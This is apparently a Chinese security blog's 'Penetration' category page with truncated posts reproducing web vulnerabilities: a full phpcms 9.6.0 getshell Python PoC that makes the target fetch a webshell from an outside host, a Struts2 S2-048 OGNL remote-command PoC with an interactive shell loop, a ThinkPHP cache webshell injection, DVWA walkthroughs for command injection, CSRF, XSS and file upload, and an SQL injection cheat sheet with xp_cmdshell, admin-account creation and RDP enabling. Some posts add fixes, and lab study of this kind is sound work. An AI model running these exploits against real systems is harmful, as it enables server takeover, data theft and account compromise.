Classification:Penetration

Classification (Penetration)'s result:

phpcms9.6.0任意文件上传getshell漏洞重现及分析

0x01 概述 2017年4月,爆出phpcms9.6.0的任意文件上传getshell漏洞,攻击者无需登录认证即可在登录页面利用此漏洞,挺厉害。 0x02 bug重现及POC 登录页面: 利用POC: //poc来源:http://hacktech.cn/2017/04/10/phpcms9-6-0-getshell-with-python.html # -*- coding:utf-8 -*- ”’ ———————- Author : Akkuman Blog : hacktech.cn ———————- ”’ import requests import sys from random import Random chars = ‘qwertyuiopasdfghjklzxcvbnm0123456789’ def main(): if len(sys.argv) < 2: print(“[*]Usage : Python 1.py http://xxx.com”) sys.exit() host = sys.argv[1] url = host + “/index.php?m=member&c=index&a=register&siteid=1” data = { “siteid”: “1”, “modelid”: “1”, “username”: “dsakkfaffdssdudi”, “password”: “123456”, “email”: “dsakkfddsjdi@qq.com”, # 如果想使用回调的可以使用http://file.codecat.one/oneword.txt,一句话地址为.php后面加上e=YXNzZXJ0 “info[content]”: “<img src=http://file.codecat.one/normalOneWord.txt?.php#.jpg>”, “dosubmit”: “1”, “protocol”: “”, } try: rand_name = chars[Random().randint(0, len(chars) – 1)] data[“username”] = “akkuman_%s” % rand_name data[“email”] = “akkuman_%s@qq.com” % rand_name htmlContent = requests.post(url, data=data) successUrl = “” if “MySQL Error” in htmlContent.text and “http” in htmlContent.text: successUrl = htmlContent.text[htmlContent.text.index(“http”):htmlContent.text.index(“.php”)] + “.php” print(“[*]Shell : %s” % successUrl) if successUrl == “”: print(“[x]Failed : had crawled all possible url, but i can’t find out it. So it’s failed.\n”) except: print(“Request Error”) if __name__ == ‘__main__’: main() 菜刀连接得到的shell地址,如图: 重现成功! (注意这里的文件名(shell地址)是可以爆破的,后文说明。) 0x03 修复方案 1.升级到最新版本 2.关闭注册功能 3.禁止uploadfile目录下动态脚本执行 0x04 bug分析 由poc的 index.php?m=member&c=index&a=register&siteid=1 找到这个index.php的register函数 关键代码: //附表信息验证 通过模型获取会员信息 if($member_setting[‘choosemodel’]) { require_once CACHE_MODEL_PATH.’member_input.class.php’; require_once CACHE_MODEL_PATH.’member_update.class.php’; $member_input = new member_input($userinfo[‘modelid’]); $_POST[‘info’]……

struts2-048漏洞重现及分析报告

0x01 概述 2017年7月,Tophant发现struts2 showcase应用中存在RCE漏洞,攻击者可以构造恶意输入通过struts2的struts1插件触发RCE,Struts2的struts1插件是为了兼容struts1。漏洞编号 s2-048 /CVE-2017-9791。 0x02 影响范围 Struts2.3.x并且启用了struts2-struts1-plugin(非默认) 0x03 POC //此poc来源于https://github.com/jas502n/st2-048 import json,re import requests import threading import urllib def Poc(url,command): header = {‘Content-Type’: ‘application/x-www-form-urlencoded’} poc = {“name”:”%{(#szgx=’multipart/form-data’).(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context[‘com.opensymphony.xwork2.ActionContext.container’]).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd=’ \ “+command+”‘).(#iswin=(@java.lang.System@getProperty(‘os.name’).toLowerCase().contains(‘win’))).(#cmds=(#iswin?{‘cmd.exe’,’/c’,#cmd}:{‘/bin/bash’,’-c’,#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.close())}”,”age”:”1″,”__checkbox_bustedBefore”:”true”,”description”:”123123″} data = urllib.urlencode(poc) try: result = requests.post(url,data=data,headers=header) if result.status_code == 200: print result.content except requests.ConnectionError,e: print e th = {“url”:””} while True: if th.get(“url”) != “”: input_cmd = raw_input(“cmd >>: “) if input_cmd == “exit”: exit() elif input_cmd == ‘set’: url = raw_input(“set url :”) th[‘url’] = url elif input_cmd == ‘show url’: print th.get(“url”) else: Poc(th.get(“url”),input_cmd) else: url = raw_input(“set url :”) th[“url”] = url 0x04 环境搭建及效果演示 1.环境搭建: win7+tomcat7+struts2.3.20+java1.8 把struts2-showcase.war复制到webapps目录。 访问 192.168.0.105:8080/struts2-showcase/integration/saveGangster.action 2.效果演示: 0x05 修复方案 1.通过使用 resourcekeys 替代将原始消息直接传递给 ActionMessage 的方式。如下所示: messages.add(“msg”,new ActionMessage(“struts1.gangsterAdded”, gform.getName())); 一定不要使用如下的方式 messages.add(“msg”,new ActionMessage(“Gangster ” + gform.getName() + ” was added”)); 2.停用struts2-struts1-plugin插件 3.升级到最新版本 0x06 漏洞分析 先看看官网的说明: It is possible to perform a RCE attack with a malicious field value when using the Struts 2 Struts 1 plugin and it’s a Struts 1 action and the value is a part of a message presented to the user, i.e. when using untrusted input as a part of the error message in the ActionMessage class. 大意就是攻击者可以构造恶意输入通过struts1插件发起RCE,message的部分值来自用户输入,不信任的输入成为error message的一部分进入ActionMessage类。 那就找找是怎么进入ActionMessage的, 来看看SaveGangsterAction.java: public class……

Thinkphp缓存函数设计缺陷getshell漏洞重现及分析

0x01 概述: 看到一篇帖子 https://xianzhi.aliyun.com/forum/read/1973.html 参考此帖子的步骤重现这个bug,并以tp3.2.3为例进行漏洞分析。 大概就是缓存函数设计不严格,导致攻击者可以插入恶意代码,直接getshell。 0x02 影响版本 5.0.10-3.2.3 0x03 bug重现 环境:redhat6+apache2+Mysql+php5+thinkphp3.2.3 IndexController.class.php: 关键代码: public function add(){ $db = M(‘books’,’think_’); if($_POST[‘bookname’] && $_POST[‘price’]) { $data[‘bookname’] = $_POST[‘bookname’]; S(‘name’,$data[‘bookname’]); $data[‘price’] = $_POST[‘price’]; $result = $db->add($data); if($result) { $this->redirect(‘Index/main’,”,2,’add success!’); } } else { $this->display(); } } 效果图: 添加书名ruby,价格34 看看缓存文件: 来试试添加一句话:eval($_POST[‘tpc’]); 用burpsuite提交数据。 抓包修改 bookname=%0D%0Aeval(%24_POST%5b%27tpc%27%5d)%3b%2f%2f 也就是回车,最后加上//。 Ps:那篇帖子的一句话是(//回车+一句话+#),我认为开头不用//也行,目的是换行写入一句话,我最后用//注释掉其他东西。 成功插入,如图: 再看看缓存文件和数据库: 都成功写入,到了激动人心的连接时刻了,上菜刀 http://192.168.0.100/thinkphptest/thinkphp/Application/Runtime/Temp/b068931cc450442b63f5b3d276ea4297.php (注意大写,不然会not found……) 至此,bug成功重现! 0x04 修复方案 从重现过程可以看出,在缓存文件里攻击者通过换行写入了恶意代码。所以可以参考那篇帖子的修复方案: 1,打开文件:thinkphp\library\think\cache\driver\File.php 2,找到:public function set($name, $value, $expire = null) 方法 3,添加:$data = str_replace(PHP_EOL, ”, $data); 就是去掉\r或\r\n或\r,即去掉换行。 0x05 漏洞分析 那篇帖子以tp5为例分析,我这里就以tp3.2.3来分析吧,原理都是一样的。 先找到Cache.class.php文件,关键代码: /** * 连接缓存 * @access public * @param string $type 缓存类型 * @param array $options 配置数组 * @return object */ public function connect($type=”,$options=array()) { if(empty($type)) $type = C(‘DATA_CACHE_TYPE’); $class = strpos($type,’\\’)? $type : ‘Think\\Cache\\Driver\\’.ucwords(strtolower($type)); if(class_exists($class)) $cache = new $class($options); else E(L(‘_CACHE_TYPE_INVALID_’).’:’.$type); return $cache; 这里读入配置,获取实例化的一个类的路径,路径是 Think\\Cache\\Driver\\ 这里我尝试了var_dump($class)和echo $class直接浏览器访问Cache.class.php都无法像那篇帖子一样打印出$class,后来才发现添加数据写入缓存页面跳转才打印了Think\\Cache\\Driver\\File。 关键代码: /** * 取得缓存类实例 * @static * @access public * @return mixed */ static function getInstance($type=”,$options=array()) { static $_instance = array(); $guid = $type.to_guid_string($options); if(!isset($_instance[$guid])){ $obj = new Cache(); $_instance[$guid] = $obj->connect($type,$options); } return $_instance[$guid]; } public function __get($name) { return $this->get($name); } public function __set($name,$value) { return $this->set($name,$value); } public function __unset($name) { $this->rm($name); } public function……

dvwa1.9之Command Injection

Low: 源码: <?php if( isset( $_POST[ ‘Submit’ ] ) ) { // Get input $target = $_REQUEST[ ‘ip’ ]; // Determine OS and execute the ping command. if( stristr( php_uname( ‘s’ ), ‘Windows NT’ ) ) { // Windows $cmd = shell_exec( ‘ping ‘ . $target ); } else { // *nix $cmd = shell_exec( ‘ping -c 4 ‘ . $target ); } // Feedback for the end user echo “<pre>{$cmd}</pre>”; } ?> 对参数ip没任何过滤 127.0.0.1&&net user   Medium: 源码: <?php if( isset( $_POST[ ‘Submit’ ] ) ) { // Get input $target = $_REQUEST[ ‘ip’ ]; // Set blacklist $substitutions = array( ‘&&’ => ”, ‘;’ => ”, ); // Remove any of the charactars in the array (blacklist). $target = str_replace( array_keys( $substitutions ), $substitutions, $target ); // Determine OS and execute the ping command. if( stristr( php_uname( ‘s’ ), ‘Windows NT’ ) ) { // Windows $cmd = shell_exec( ‘ping ‘ . $target ); } else { // *nix $cmd = shell_exec( ‘ping -c 4 ‘ . $target );……

dvwa1.9之brute force

Low: 源码: <?php if( isset( $_GET[ ‘Login’ ] ) ) { // Get username $user = $_GET[ ‘username’ ]; // Get password $pass = $_GET[ ‘password’ ]; $pass = md5( $pass ); // Check the database $query = “SELECT * FROM `users` WHERE user = ‘$user’ AND password = ‘$pass’;”; $result = mysql_query( $query ) or die( ‘<pre>’ . mysql_error() . ‘</pre>’ ); if( $result && mysql_num_rows( $result ) == 1 ) { // Get users details $avatar = mysql_result( $result, 0, “avatar” ); // Login successful echo “<p>Welcome to the password protected area {$user}</p>”; echo “<img src=\”{$avatar}\” />”; } else { // Login failed echo “<pre><br />Username and/or password incorrect.</pre>”; } mysql_close(); } ?> 没有任何防爆破机制,还有SQL注入漏洞 直接burpsuite爆破密码   Medium: 源码: <?php if( isset( $_GET[ ‘Login’ ] ) ) { // Sanitise username input $user = $_GET[ ‘username’ ]; $user = mysql_real_escape_string( $user ); // Sanitise password input $pass = $_GET[ ‘password’ ]; $pass = mysql_real_escape_string( $pass ); $pass = md5( $pass ); // Check the database $query = “SELECT *……

各类SQL注入大整理(持续更新)

各类SQL injection 整理 —LSA ASP+access:  ACCESS的系统表是msysobjects,且在WEB环境下没有访问权限,而SQL-SERVER的系统表是sysobjects(逐字猜解/联合查询) 1.判断: 用’            ; 用 and 1=1    and 1=2 判断数据库: http://xxx/2j.asp?id=24 and (select count(*) from sysobjects)>0 http://xxx/2j.asp?id=24 and (select count(*) from msysobjects)>0 若数据库是SQL-SERVE,则第一条,网页,一定运行正常,第二条则异常;若是ACCESS则两条都会异常 2、猜表名 [1]and 0<>(select count(*) from admin) —判断是否存在admin这张表,返回正确存在 ———— [2]and exists (select * from 表名) ———– [3] union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22 from admin,爆出显位  //联合查询 3.猜帐号数目/字段数目 and 0<(select count(*) from admin)   //0、1、2、3……. order by 4.猜解字段名称 and 1=(select count(*) from admin where len(name)>0) 用户字段名称 and 1=(select count(*) from admin where len(password)>0) 密码字段名称 ———– [2] and exists (select 字段 from 表名) ———– [3] http://xxx/2j.asp?id=24 and (select count(password) from article_admin)>0 5.猜解各个字段的长度 猜解长度就是把 and 1=(select count(*) from admin where len(*)>0)   //>1/2/3/4 ————- [2] and (select top 1 len(列名)from 表名)>1   //大于6正确,大于7错误,就是7 因为“top 1”的意思是把最靠前的1条记录给提取出来,所以如果要猜解第二条记录就该使用: select top 1 len(列名) from 表名 where 列名 not in (select top 1 列名 from 表名) 6.猜解字符 and 1=(select count(*) from admin where left(name,1)=’a’)  —猜解用户 and 1=(select count(*) from admin where left(password,1)=’a’)—猜密码   // 1的位置就是你要猜解的字符的位置. and 1=(select count(*) from admin where left(name,2)=’ab’)—猜解用户帐号的第二位 ———– [2] and (select asc(mid(列名,1,1)) from 表名)=ascii的值 ———- [3] http://xxx/2j.asp?id=24 and (select top 1 asc(mid(username,1,1)) from article_admin)=97 返回了正常,说明第一username里的第一位内容是ASC码的97,也就是a ———- [4]union select1,2,username,4,5,6,7,8,9,10,11,12,13,14,password,16,17,18,19,20,21,22 from admin  //联合查询 (access偏移注入: *所表示的字段的顺序被打乱,通过使用inner join查询,从而有可能爆出用户和密码的字段数据。 为了让语句正确,用*来加长字段数: http://www.xxx.com/show.asp?id=123 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,* from admin(页面报错) http://www.xxx.com/show.asp?id=123 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,* from admin(页面正确) 此时就发现了admin表下有四个字段(20-16=4) .inner join 连接查询: ps:inner join查询是将一张表虚拟成多张相同的表来进行查询(我自己是这么理解的。) 首先用两张表来进行查询,应该减去重复的部分也就是这四个字段,不能让这四个字段算两次,这样的话20-4-4=12,语句中只需要罗列出12个数字。 继续, http://www.xxx.com/show.asp?id=123 union select 1,2,3,4,5,6,7,8,9,10,11,12,* from (admin as a inner join admin as b on a.id = b.id) http://www.xxx.com/show.asp?id=123 union select 1,2,3,4,5,6,7,8,9,10,11,12,a.id,b.id,* from (admin as a inner join admin as b on a.id = b.id) 上面的这两种情况还是报错,那么我们继续再来添加一张表,再减去重复的四个字段,20-4-4-4=8,语句中只需要罗列出8个数字。 再次使用inner join查询: http://www.xxx.com/show.asp?id=123 union select 1,2,3,4,5,6,7,8,a.id,b.id,c.id,* from ((admin as a inner join admin as b on a.id=b.id) inner join admin as c on a.id=c.id) 页面返回正确,成功得到md5密码。 ) ================================================= ASP+SQLserver:   对于MSSQL的注入点,无外乎这三种权限:SA,DB_OENER,PUBLIC SA(System Admin)权限我们可以直接执行命令,DB_OENER权限的话,我们可以找到WEB的路径,然后用备份的方式得到webshell,有时也可以对注册表进行操作。PUBLIC权限的话,又要面对表和列了 1、判断注入点 传入参数为数字型时: and 1=1 and 1=2 传入参数不为数字型时,需要变动一下 比如: asp?id=aeo’ and ‘1’=’1 asp?id=aeo’ and ‘1’=’2 其实只要两次返回页面不同,基本上都是可以注入的 检测是否为SA权限 and 1=(select IS_SRVROLEMEMBER(‘sysadmin’)) 检测是否为DB权限 and 1=(Select IS_MEMBER(‘db_owner’)) and 1= (Select HAS_DBACCESS(‘master’))   //判断是否有库读取权限 ;declare @d int   //是否支持多行 xp_cmdshell”这个存储过程,先要判断这个过程是否存在,提交: http://www.****.org/newshowlistgo_new.asp?id=5′ and 1=(select count(*) from master.dbo.sysobjects where xtype =’x’ and name = ‘xp_cmdshell’)– http://www.****.org/newshowlistgo_new.asp?id=5′;exec master.dbo.addextendedproc ‘xp_cmdshell’, ‘xplog70.dll’;select count(*) from master.dbo.sysobjects where xtype=’x’ and name=’xp_cmdshell’– 返回结果正常就是恢复成功。否则需上传xplog70.dll后执行: ‘:exec master.dbo.sp_addextendedproc ‘xp_cmdshell’,’c:inetputwebxplog70.dll’;– 2、判断数据库类型 [1]And user>0   //asp+access也能用! user是SQLServer的一个内置变量,它的值是当前连接的用户名,类型为nvarchar。拿一个 nvarchar的值跟int的数0比较,系统会先试图将nvarchar的值转成int型,当然,转的过程中肯定会出错,SQLServer的出错提示是:将nvarchar值 ”abc” 转换数据类型为 int 的列时发生语法错误,abc正是变量user的值 ———— [2]Sysobjects是SQL的内置系统表,在WEB下可以正常读取,msysobjects是Access的内置系统表,在WEB下无权读取。 那么就可以输入 and (select count(*) from sysobjects)>0 或 and (select count(*) from msysobjects)>0 这两句随便输入一句即可判断。   //同asp+access ———– [3] 在注入点后加上: ;– 一个分号两个横线,如果页面返回正常的话,说明数据库是MSSQL,因为在MSSQL数据库里,;和–都是存在的,”;” 用来分离两个语句,而”–“就是注释符,在它后面的语句都不执行,而ACCESS数据库里没有。 and 1=(select name from master.dbo.sysdatabases where dbid=1)   //暴库名DBID为1,2,3…… ;declare @d int //是否支持多行 and 1=(Select count(*) FROM master.dbo.sysobjects Where xtype = ‘X’ AND name = ‘xp_cmdshell’) //判断XP_CMDSHELL是否存在 and 1=(select count(*) FROM master.dbo.sysobjects where name= ‘xp_regread’) //查看XP_regread扩展存储过程是不是已经被删除 3、猜表名 同asp+access ————– [2]猜第一个表名:and (select top 1 name from sysobjects where xtype=’u’ and status>0 )>0 猜其他表名:and (select top 1 name from sysobjects where xtype=’u’ and status>0 and name not in(‘admin’))>0 ————– [3]第一张表 union select  top 1 name from 库名.dbo.sysobjects where xtype=’U’ 第二张表 union select  top 1 name from 库名.dbo.sysobjects where xtype=’U’ and name not in(‘第一张表’) 4、猜字段 同asp+access ————- [2]and (Select Top 1 col_name(object_id(‘admin’),1) from sysobjects)>0 5、猜内容 同asp+access ————— exec master.dbo.xp_dirtree ‘c:\’;  遍历目录 exec master.dbo.xp_availablemedia;– 获得当前所有驱动器 exec master.dbo.xp_subdirs ‘c:\’;– 获得子目录列表 exec master.dbo.xp_dirtree ‘c:\’;– 获得所有子目录的目录树结构 exec master.dbo.xp_cmdshell ‘type c:\web\web.config’;– 查看文件的内容 6、其他 添加和删除一个SA权限的用户test:(需要SA权限) exec master.dbo.sp_addlogin test,password exec master.dbo.sp_addsrvrolemember test,sysadmin   停掉或激活某个服务。 (需要SA权限) exec master..xp_servicecontrol ‘stop’,’schedule’ exec master..xp_servicecontrol ‘start’,’schedule’   暴网站目录 create table labeng(lala nvarchar(255), id int) DECLARE @result varchar(255) EXEC master.dbo.xp_regread ‘HKEY_LOCAL_MACHINE’,’SYSTEM\ControlSet001\Services\W3SVC\Parameters\Virtual Roots’,’/’,@result output insert into labeng(lala) values(@result); and 1=(select top 1 lala from labeng) 或者and 1=(select count(*) from labeng where lala>1)   DOS下开3389 并修改端口号 sc config termservice start= auto net start termservice   //允许外连 reg add “HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server” /v fDenyTSConnections /t REG_DWORD /d 0x0 /f   //该3389端口到80 reg add “HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp” /v PortNumber /t REG_DWORD /d 80 /f   sqlserver 存储扩展应用 建立系统用户: net user username pass /add 系统提权 net localgroup administrators username /add 打开3389 reg add “hklm\System\CurrentControlSet\Control\Terminal Server” /v fDenyTSConnections /t reg_dword /d “0” /f 建立数据库用户: ;exec master..sp_addlogin user,pass;– 数据库提权: ;exec master..sp_addsrvrolemember aa,sysadmin;–   xp_cmdshell应用 建立系统用户 ;exec master..xp_cmdshell “net user bb bb /add”– 防止xp_cmdshell: ;exec master..sp_dropextendedproc ‘xp_cmdshell’ 恢复xp_cmdshell ;exec master..sp_addextendedproc ‘xp_cmdshell’,’xplog70.dll’ 彻底防溢出 c:\windows\system32\cmd.exe 删除所有默认权限. 添加administrator–完全控制   更改sa密码……

dvwa1.9之CSRF

Low: 源码: <?php if( isset( $_GET[ ‘Change’ ] ) ) { // Get input $pass_new = $_GET[ ‘password_new’ ]; $pass_conf = $_GET[ ‘password_conf’ ]; // Do the passwords match? if( $pass_new == $pass_conf ) { // They do! $pass_new = mysql_real_escape_string( $pass_new ); $pass_new = md5( $pass_new ); // Update the database $insert = “UPDATE `users` SET password = ‘$pass_new’ WHERE user = ‘” . dvwaCurrentUser() . “‘;”; $result = mysql_query( $insert ) or die( ‘<pre>’ . mysql_error() . ‘</pre>’ ); // Feedback for the user echo “<pre>Password Changed.</pre>”; } else { // Issue with passwords matching echo “<pre>Passwords did not match.</pre>”; } mysql_close(); } ?> 无任何CSRF防护,直接构造链接让人点 www.website.com/dvwa/vulnerabilities/csrf/?password_new=hack&password_conf=hack&Change=Change# 成功修改密码! 这链接有两个弊端: 1.太明显……. 2.会出现password change页面 优化:短网址 上面长网址可以压缩为http://t.cn/RSmyVRE 第二点弊端还存在 继续优化:先在公网上传一个攻击页面,诱骗受害者去访问,在受害者不知情的情况下完成CSRF攻击。 html攻击页面: <img src=”http://www.website.com/dvwa/vulnerabilities/csrf/?password_new=hack&password_conf=hack&Change=Change#” border=”0″ style=”display:none;”/> <h1>404<h1> <h2>file not found.<h2> 受害者点击后显示404(500,503,403都ok),但是密码已经改了。   Medium: 源码: <?php if( isset( $_GET[ ‘Change’ ] ) ) { // Checks to see where the request came from if( eregi( $_SERVER[ ‘SERVER_NAME’ ], $_SERVER[ ‘HTTP_REFERER’ ] ) ) { // Get input $pass_new = $_GET[ ‘password_new’ ]; $pass_conf = $_GET[……

dvwa1.9之XSS(stored)

Low: 源码: <?php if( isset( $_POST[ ‘btnSign’ ] ) ) { // Get input $message = trim( $_POST[ ‘mtxMessage’ ] ); $name = trim( $_POST[ ‘txtName’ ] ); // Sanitize message input $message = stripslashes( $message ); $message = mysql_real_escape_string( $message ); // Sanitize name input $name = mysql_real_escape_string( $name ); // Update database $query = “INSERT INTO guestbook ( comment, name ) VALUES ( ‘$message’, ‘$name’ );”; $result = mysql_query( $query ) or die( ‘<pre>’ . mysql_error() . ‘</pre>’ ); //mysql_close(); } ?> 没有任何针对XSS的防护,直接<script>alert(/xss/)</script> name有前端字符限制 maxlength=”10” 可以抓包修改。 Midume: 源码: <?php if( isset( $_POST[ ‘btnSign’ ] ) ) { // Get input $message = trim( $_POST[ ‘mtxMessage’ ] ); $name = trim( $_POST[ ‘txtName’ ] ); // Sanitize message input $message = strip_tags( addslashes( $message ) ); $message = mysql_real_escape_string( $message ); $message = htmlspecialchars( $message ); // Sanitize name input $name = str_replace( ‘<script>’, ”, $name ); $name = mysql_real_escape_string( $name ); // Update database $query = “INSERT INTO guestbook ( comment, name ) VALUES ( ‘$message’, ‘$name’ );”;……

dvwa1.9之XSS(reflected)

Low: 源码: <?php // Is there any input? if( array_key_exists( “name”, $_GET ) && $_GET[ ‘name’ ] != NULL ) { // Feedback for end user echo ‘<pre>Hello ‘ . $_GET[ ‘name’ ] . ‘</pre>’; } ?> 无任何防护,直接<script>alert(/xss/)</script>弹窗   Medium: 源码: <?php // Is there any input? if( array_key_exists( “name”, $_GET ) && $_GET[ ‘name’ ] != NULL ) { // Get input $name = str_replace( ‘<script>’, ”, $_GET[ ‘name’ ] ); // Feedback for end user echo “<pre>Hello ${name}</pre>”; } ?> str_replace过滤了<script> 方法1:大小写绕过<sCript>alert(/xss/)</scRipt> 方法2:重写绕过<sc<script>ript>alert(/xss/)</script>   High: 源码: <?php // Is there any input? if( array_key_exists( “name”, $_GET ) && $_GET[ ‘name’ ] != NULL ) { // Get input $name = preg_replace( ‘/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i’, ”, $_GET[ ‘name’ ] ); // Feedback for end user echo “<pre>Hello ${name}</pre>”; } ?> preg_replace正则过滤了script,同时过滤了大小写,重写,不过只过滤了script,所以可以换一个触发条件(条件千千万万) payload:<img src=1 onerror=alert(/xss/)>   Impossible: 源码: <?php // Is there any input? if( array_key_exists( “name”, $_GET ) && $_GET[ ‘name’ ] != NULL ) { // Check Anti-CSRF token checkToken( $_REQUEST[ ‘user_token’ ], $_SESSION[ ‘session_token’ ], ‘index.php’ ); // Get……

dvwa1.9之File upload

Low: 关键源码: // Where are we going to be writing to? $target_path = DVWA_WEB_PAGE_TO_ROOT . “hackable/uploads/”; $target_path .= basename( $_FILES[ ‘uploaded’ ][ ‘name’ ] ); // Can we move the file to the upload folder? if( !move_uploaded_file( $_FILES[ ‘uploaded’ ][ ‘tmp_name’ ], $target_path ) ) { // No echo ‘<pre>Your image was not uploaded.</pre>’; } else { // Yes! echo “<pre>{$target_path} succesfully uploaded!</pre>”; 上传漏洞要能成功上传,成功执行脚本,成功获取地址,low级别完全无防护。直接上传php一句话即可getshell。   Medium 关键源码: $target_path = DVWA_WEB_PAGE_TO_ROOT . “hackable/uploads/”; $target_path .= basename( $_FILES[ ‘uploaded’ ][ ‘name’ ] ); // File information $uploaded_name = $_FILES[ ‘uploaded’ ][ ‘name’ ]; $uploaded_type = $_FILES[ ‘uploaded’ ][ ‘type’ ]; $uploaded_size = $_FILES[ ‘uploaded’ ][ ‘size’ ]; // Is it an image? if( ( $uploaded_type == “image/jpeg” || $uploaded_type == “image/png” ) && ( $uploaded_size < 100000 ) ) { 审计源码可知对文件大小和类型作了限制。一句话符合<100000,类型可以抓包修改后缀绕过。 方法1:上传conn.php一句话木马,抓包修改成image/jpeg类型,C刀连接,亲测成功。 方法2:上传conn1.png一句话图片马,抓包修改成conn1.php,C刀连接,亲测成功。 方法3:利用medium级别文件包含漏洞,包含上传的一句话图片马,再用C刀连接,未测试。 方法4:00截断,构造conn1.php%00.png,需要php版本小于5.3.4的服务器中,且Magic_quote_gpc选项为off,未测试。   High: 关键源码: // File information $uploaded_name = $_FILES[ ‘uploaded’ ][ ‘name’ ]; $uploaded_ext = substr( $uploaded_name, strrpos( $uploaded_name, ‘.’ ) + 1); $uploaded_size = $_FILES[ ‘uploaded’ ][ ‘size’ ]; $uploaded_tmp = $_FILES[ ‘uploaded’ ][ ‘tmp_name’ ];……